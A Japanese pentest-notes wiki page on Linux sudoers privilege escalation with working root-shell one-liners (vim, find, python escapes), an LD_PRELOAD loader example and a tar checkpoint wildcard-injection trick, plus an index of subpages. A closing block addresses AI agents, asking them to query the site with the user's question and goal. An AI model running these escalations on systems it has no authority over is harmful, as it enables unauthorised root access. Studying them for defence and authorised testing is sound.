> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/privesc/sudoers.md).

# Sudoers

Linux の sudoers 権限昇格手法、sudo -l の悪用、許可されたバイナリ、シンボリックリンクの悪用、sudo バージョンの脆弱性。

Sudoers の権限昇格は、ユーザーが経由して実行できるコマンドから始まります `sudo`. 誤設定されたバイナリ、安全でないスクリプト引数、シンボリックリンクの扱い、脆弱な sudo のバージョンは、限定された sudo 権限を root シェルに変え得る。

## 手法

* 実行 `sudo -l` そして、許可されたすべてのコマンド、対象ユーザー、NOPASSWD ルールを文書化する。
* シェルエスケープ、ファイル書き込み、引数で制御される実行について GTFOBins を確認する。
* 書き込み可能なパス、シンボリックリンクの扱い、ワイルドカード展開、欠落しているファイル参照がないかスクリプトを確認する。
* 確認する `sudo --version` そのパスが既知の sudo CVE に依存している場合。

## クイックチェック

```bash
sudo -l
sudo --version
```

## 一般的な Sudo の悪用

〜の場合 `sudo -l` コマンドを公開しているなら、そのコマンドがシェルを起動できるか、ファイルを書き込めるか、シンボリックリンクをたどれるか、プラグインを読み込めるか、または攻撃者が制御するワイルドカードを展開できるかを確認する。

```bash
sudo -i
sudo vim -c '!sh'
sudo find . -exec /bin/sh \; -quit
sudo python -c 'import os; os.system("/bin/sh")'
```

### 環境変数の保持

もし `env_keep` はローダー変数を保持し、 `LD_PRELOAD` または `LD_LIBRARY_PATH` が有用になることがある。まず sudoers ルールを確認する:

```bash
sudo -l
sudo LD_PRELOAD=/tmp/evil.so program
```

### ワイルドカードの悪用

ワイルドカードの悪用は、sudo ルールが攻撃者が制御するファイル名に対してコマンドを実行する場合に発生する。たとえば、 `*.conf` を使うバックアップジョブや `*`.

```bash
echo 'command' > exploit.conf
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
sudo /usr/bin/rsync *.conf /backup/
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo awk</h4></td><td>Linux の権限昇格のための Sudo (awk) ノート。列挙手順、悪用例、報告重視の検証を含む。</td><td><a href="/ja/privesc/sudoers/sudo-awk-linux-privilege-escalation.md">Sudo awk - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo Nmap</h4></td><td>Linux の権限昇格のための Sudo (Nmap) ノート。列挙手順、悪用例、報告重視の検証を含む。</td><td><a href="/ja/privesc/sudoers/sudo-nmap-linux-privilege-escalation.md">Sudo (Nmap) - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo Perl</h4></td><td>Linux の権限昇格のための Sudo (Perl) ノート。列挙手順、悪用例、報告重視の検証を含む。</td><td><a href="/ja/privesc/sudoers/sudo-perl-linux-privilege-escalation.md">Sudo (Perl) - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo GitPython</h4></td><td>Linux の権限昇格のための Sudo (GitPython) ノート。列挙手順、悪用例、報告重視の検証を含む。</td><td><a href="/ja/privesc/sudoers/sudo-gitpython-linux-privilege-escalation.md">Sudo GitPython - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo のバージョン別 CVE</h4></td><td>CVE-2019-14287 および CVE-2025-32463 に関する Sudo バージョンの脆弱性ノート。Linux の権限昇格向け。</td><td><a href="/ja/privesc/sudoers/sudo-version-vulnerabilities-linux-privilege-escalation.md">Sudo バージョンの脆弱性 - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo su</h4></td><td>Linux の権限昇格のための Sudo (su) ノート。列挙手順、悪用例、報告重視の検証を含む。</td><td><a href="/ja/privesc/sudoers/sudo-su-linux-privilege-escalation.md">Sudo su - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo Knife</h4></td><td>Linux の権限昇格のための Sudo (Knife) ノート。列挙手順、悪用例、報告重視の検証を含む。</td><td><a href="/ja/privesc/sudoers/sudo-knife-linux-privilege-escalation.md">Sudo (Knife) - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo ALL:ALL</h4></td><td>Linux の権限昇格のための Sudo (ALL:ALL) ノート。列挙手順、悪用例、報告重視の検証を含む。</td><td><a href="/ja/privesc/sudoers/sudo-all-all-linux-privilege-escalation.md">Sudo ALL:ALL - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo mosh-server</h4></td><td>Linux の権限昇格のための Sudo (Mosh-Server) ノート。列挙手順、悪用例、報告重視の検証を含む。</td><td><a href="/ja/privesc/sudoers/sudo-mosh-server-linux-privilege-escalation.md">Sudo (Mosh-Server) - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo iptables</h4></td><td>Linux の権限昇格のための Sudo (iptables) ノート。列挙手順、悪用例、報告重視の検証を含む。</td><td><a href="/ja/privesc/sudoers/sudo-iptables-linux-privilege-escalation.md">Sudo iptables - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo Go</h4></td><td>Linux の権限昇格のための Sudo (Go) ノート。列挙手順、悪用例、報告重視の検証を含む。</td><td><a href="/ja/privesc/sudoers/sudo-go-linux-privilege-escalation.md">Sudo (Go) - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo journalctl</h4></td><td>Linux の権限昇格のための Sudo (journalctl) ノート。列挙手順、悪用例、報告重視の検証を含む。</td><td><a href="/ja/privesc/sudoers/sudo-journalctl-linux-privilege-escalation.md">Sudo journalctl - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo Metasploit</h4></td><td>Linux の権限昇格のための Sudo (Metasploit) ノート。列挙手順、悪用例、報告重視の検証を含む。</td><td><a href="/ja/privesc/sudoers/sudo-metasploit-linux-privilege-escalation.md">Sudo (Metasploit) - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo 欠落ファイル</h4></td><td>Linux の権限昇格のための Sudo（ファイルが見つからない場合）ノート。列挙手順、悪用例、報告重視の検証を含む。</td><td><a href="/ja/privesc/sudoers/sudo-missing-file-linux-privilege-escalation.md">Sudo 欠落ファイル - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo bee バイナリ</h4></td><td>Linux の権限昇格のための Sudo (bee バイナリ) ノート。列挙手順、悪用例、報告重視の検証を含む。</td><td><a href="/ja/privesc/sudoers/sudo-bee-binary-linux-privilege-escalation.md">Sudo bee バイナリ - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo bbot バイナリ</h4></td><td>Linux の権限昇格のための Sudo (bbot バイナリ) ノート。列挙手順、悪用例、報告重視の検証を含む。</td><td><a href="/ja/privesc/sudoers/sudo-bbot-binary-linux-privilege-escalation.md">Sudo bbot バイナリ - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo ACL シンボリックリンク悪用</h4></td><td>Linux の権限昇格のための Sudo（ACL / シンボリックリンク）ノート。列挙手順、悪用例、報告重視の検証を含む。</td><td><a href="/ja/privesc/sudoers/sudo-acl-symlink-linux-privilege-escalation.md">Sudo ACL/シンボリックリンク - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo 二重シンボリックリンク</h4></td><td>Linux の権限昇格のための Sudo（二重シンボリックリンク）ノート。列挙手順、悪用例、報告重視の検証を含む。</td><td><a href="/ja/privesc/sudoers/sudo-double-symlink-linux-privilege-escalation.md">Sudo 二重シンボリックリンク - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo バックアップバイナリのシンボリックリンク</h4></td><td>Linux の権限昇格のための Sudo（バックアップバイナリ / シンボリックリンク）ノート。列挙手順、悪用例、報告重視の検証を含む。</td><td><a href="/ja/privesc/sudoers/sudo-backup-binary-symlink-linux-privilege-escalation.md">Sudo バックアップバイナリのシンボリックリンク - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo backy.sh スクリプト</h4></td><td>Linux の権限昇格のための Sudo - backy.sh（スクリプト）ノート。列挙手順、悪用例、報告重視の検証を含む。</td><td><a href="/ja/privesc/sudoers/sudo-backy.sh-script-linux-privilege-escalation.md">Sudo backy.sh スクリプト - Linux 権限昇格</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/privesc/sudoers.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
